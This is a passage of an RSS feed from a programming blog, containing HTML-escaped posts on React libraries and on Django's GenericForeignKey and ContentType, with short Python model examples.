all the repetitive code that handles the whole process of handling web requests by providing us with a special hook from which we can unstructure variables that will facilitate the handling of the response.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/reactQuery.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/reactQuery.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;React query library&#34; width=&#34;1417&#34; height=&#34;869&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;react-icons-kit&#34;&gt;React-icons-kit&lt;/h2&gt;&#xA;&lt;p&gt;Sometimes it is quite annoying to take care of the graphic part of a web page. There are icons on all sides but there are looking for them, sometimes an icon package does not have all the icons we need and we have to combine different. An excellent option to these problems is &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://react-icons-kit.now.sh/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;React-icons-kit&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Before using it remember to check the license of the icons you decide to use, because not all licenses are equally permissive.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/React-icons-kit.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/React-icons-kit.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Screenshot of the React icons kit page&#34; width=&#34;735&#34; height=&#34;420&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;the-minimalist-react-preact&#34;&gt;The minimalist React: Preact&lt;/h2&gt;&#xA;&lt;p&gt;Preact is React, yes, same functions, well, not really all, but the most common ones yes, all in only 3kb. &lt;strong&gt;Preact promises to be much faster and lighter than its counterpart&lt;/strong&gt; because it uses the browser&amp;rsquo;s native &lt;em&gt;addEventListener&lt;/em&gt; instead of the synthetic event handler that React uses. It also has unique features that you don&amp;rsquo;t find in React. This library is ideal for applications where performance is a critical factor.&lt;/p&gt;&#xA;&lt;p&gt;You can read more about the differences between React and Preact at &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://preactjs.com/guide/v10/differences-to-react/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;their official web site&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/Preact.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/Preact.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Screenshot of Preact page&#34; width=&#34;1016&#34; height=&#34;863&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;react-admin&#34;&gt;React admin&lt;/h2&gt;&#xA;&lt;p&gt;React admin is the equivalent of django admin but in React, an interface to perform CRUD operations to your database models. It requires a basic configuration, but once you set it up you&amp;rsquo;re all set. Visit the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://marmelab.com/react-admin-demo/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;React admin demo&lt;/a&gt;&#xA; to get to know it.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/ReactAdminInterfaz.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/ReactAdminInterfaz.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;React admin interface&#34; width=&#34;1911&#34; height=&#34;937&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;bonus-react-virtualized&#34;&gt;Bonus: React Virtualized&lt;/h2&gt;&#xA;&lt;p&gt;React virtualized takes care of a problem that looks quite simple at first. Render lists and tabulable information. Just that? Well, yes, but rendering lists with a few elements wouldn&amp;rsquo;t be a problem, would it? React Virtualized&amp;rsquo;s forte is not rendering small lists, but large lists, larger than 1k elements with most of the problems presented already solved and tested.&lt;/p&gt;&#xA;&lt;p&gt;Visit &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://bvaughn.github.io/react-virtualized/#/components/List&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the React Virtualized page&lt;/a&gt;&#xA; to read the complete documentation.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/ReactVirtualized.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/images/ReactVirtualized.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;React Virtualized working to render tables&#34; width=&#34;640&#34; height=&#34;480&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;After several weeks posting about Django I wrote a short post about React, about libraries, because man does not live by Python alone. These are some of the libraries that I consider most useful in React. For obvious reasons are excluded React-router, Redux and others too well known. As well as some React Frameworks such as Gatsby, Nextjs, Frontity and others.&lt;/p&gt;&#xA;&lt;p&gt;If you want to learn React but don&amp;rsquo;t know Javascript read my post, where I talk about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/the-best-book-for-learning-modern-javascript/&#34;&gt;one of the best books to start with Javascript&lt;/a&gt;&#xA;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>What is Django Generic Foreignkey for?</title>
      <link>https://coffeebytes.dev/en/django/what-is-django-generic-foreignkey-for/</link>
      <pubDate>Mon, 22 Feb 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/what-is-django-generic-foreignkey-for/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;You want to use Django to relate one model to another using a foreign key, but the model you want to relate is a different one for each database entry. Django offers a solution to your problem, a Django generic foreign key called genericForeignKey and the ContentType model, which I talked about earlier.&lt;/p&gt;&#xA;&lt;p&gt;The genericForeignkey field type is able to link to different types of models, allowing us to relate any other model to ours. Remember in the previous post I talked about ContentType? Well, now we will give it a practical application. If you want to review the previous post, visit my post where I talk about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/what-does-the-contenttype-application-do-in-django/&#34;&gt;ContentType in Django&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;the-django-genericforeignkey-field&#34;&gt;The Django genericForeignKey field&lt;/h2&gt;&#xA;&lt;p&gt;Imagine an activity feed that keeps track of what each user does: uploading a video, deleting a song, liking a post, and so on. The target of each user&amp;rsquo;s action will be a different model each time, so we can use genericForeignKey to create our feed.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.contenttypes.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ContentType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.contenttypes.fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; GenericForeignKey&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; User&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ActivityStream&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(User, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CASCADE)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    action &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;128&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    content_type &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(ContentType, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CASCADE)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    object_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;PositiveIntegerField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    item &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; GenericForeignKey(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;content_type&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;object_id&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;django-genericforeignkey-field-explanation&#34;&gt;Django genericForeignKey field explanation&lt;/h3&gt;&#xA;&lt;p&gt;Below I explain each field of our model:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;user&lt;/strong&gt;: it is a normal foreign key. It is only to know to which user the activity belongs. Also, being a foreign key, it is mandatory to indicate what will happen if the User model is deleted with &lt;em&gt;on_delete&lt;/em&gt;.&#xA;&lt;strong&gt;action&lt;/strong&gt;: will be the action of the user, it is only a text string with the name of the activity, we can limit it to options, but here I will leave it open.&#xA;** &lt;strong&gt;content_type&lt;/strong&gt;: it is the model to which we make reference, the same that is storing in the &lt;em&gt;ContentType&lt;/em&gt; table that Django creates automatically. Also, being a foreign key, it is mandatory to indicate what will happen if the _ContentType_type is deleted with &lt;em&gt;on_delete&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;object_id**: the primary key or identifier of the object to which we will refer to.&#xA;** &lt;strong&gt;item&lt;/strong&gt;: is an abstraction that allows you to directly access the object we make reference to with &lt;em&gt;content_type&lt;/em&gt; and object_id; &lt;strong&gt;this field does not exist in the database&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;creation-of-an-object&#34;&gt;Creation of an object&lt;/h2&gt;&#xA;&lt;p&gt;Now, to create an object, &lt;strong&gt;just pass the instance of an object to the item field&lt;/strong&gt;, the &lt;em&gt;content_type&lt;/em&gt; and &lt;em&gt;object_id&lt;/em&gt; fields will be filled automatically. The rest is exactly the same as when you store any instance of an object in the database.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; User&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tuApp.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; tuModelo &lt;span style=&#34;color:#78787e&#34;&gt;# Aquí va el modelo de tu app&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;usuario &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; User&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# Reemplazalo por lo que quieras&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;modelo &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; tuModelo&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# Reemplazalo por lo que quieras&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;activity &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ActivityStream(user&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;user, action&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;accion&amp;#34;&lt;/span&gt;, item&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;modelo)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;activity&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Ready, if we now review the template we just created, you will notice that the &lt;em&gt;content_type&lt;/em&gt; and &lt;em&gt;object_id&lt;/em&gt; fields have been filled automatically.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;activity.object_id&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;activity.content_type&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;ContentType: tuModelo | tuModelo&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now you can use this object to carry out a stream of activities, a history or whatever you prefer.&lt;/p&gt;&#xA;&lt;p&gt;Remember that if you want to go deeper into the subject you can visit &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.1/ref/contrib/contenttypes/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the official Django documentation&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;You want to use Django to relate one model to another using a foreign key, but the model you want to relate is a different one for each database entry. Django offers a solution to your problem, a Django generic foreign key called genericForeignKey and the ContentType model, which I talked about earlier.&lt;/p&gt;&#xA;&lt;p&gt;The genericForeignkey field type is able to link to different types of models, allowing us to relate any other model to ours. Remember in the previous post I talked about ContentType? Well, now we will give it a practical application. If you want to review the previous post, visit my post where I talk about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/what-does-the-contenttype-application-do-in-django/&#34;&gt;ContentType in Django&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>What does the ContentType application do in Django?</title>
      <link>https://coffeebytes.dev/en/django/what-does-the-contenttype-application-do-in-django/</link>
      <pubDate>Tue, 16 Feb 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/what-does-the-contenttype-application-do-in-django/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Did you know that Django keeps track of each of the models you create for your project in a model called &lt;em&gt;ContentType&lt;/em&gt;? Read on to learn about it.&lt;/p&gt;&#xA;&lt;p&gt;Sorry for taking so long to write! I&amp;rsquo;ve been busy moving the frontend of my blog to Frontity, a React framework for Wordpress, and also moving to a new apartment. Maybe I&amp;rsquo;ll talk a bit about Frontity in a future post. For now let&amp;rsquo;s get on with it.&lt;/p&gt;&#xA;&lt;p&gt;Before we start, if you have no idea what Django is for, visit my post where I talk about (why you should use django)[/en/why-should-you-use-django-framework/] If you&amp;rsquo;ve used Django before, let&amp;rsquo;s move on.&lt;/p&gt;&#xA;&lt;h2 id=&#34;contenttype-and-models&#34;&gt;ContentType and models&lt;/h2&gt;&#xA;&lt;p&gt;ContentTypes is a special &lt;strong&gt;Django model that registers each of the models that exist&lt;/strong&gt; within our application, both those that we create and those that are installed by default.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;what-is-contenttype-used-for&#34;&gt;What is ContentType used for?&lt;/h2&gt;&#xA;&lt;p&gt;ContentType &lt;strong&gt;serves to relate models with other models&lt;/strong&gt;, as if it were a foreign key, but with the advantage that the type of model with which we relate it can be different for each table entry.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;  ContentType--&gt;log_entry;&#xA;  ContentType--&gt;permission;&#xA;  ContentType--&gt;group;&#xA;  ContentType--&gt;user;&#xA;  ContentType--&gt;your_model;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Imagine a simple social network, where we have different types of content; a template for videos, a template for images and a template for text. ContentType allows us to create a model that references any of our three models in a simple way, even if they&amp;rsquo;re completely different models.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-to-use-contenttype&#34;&gt;How to use ContentType?&lt;/h2&gt;&#xA;&lt;p&gt;To exemplify how ContentType works, let&amp;rsquo;s create a django project, with a model:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins 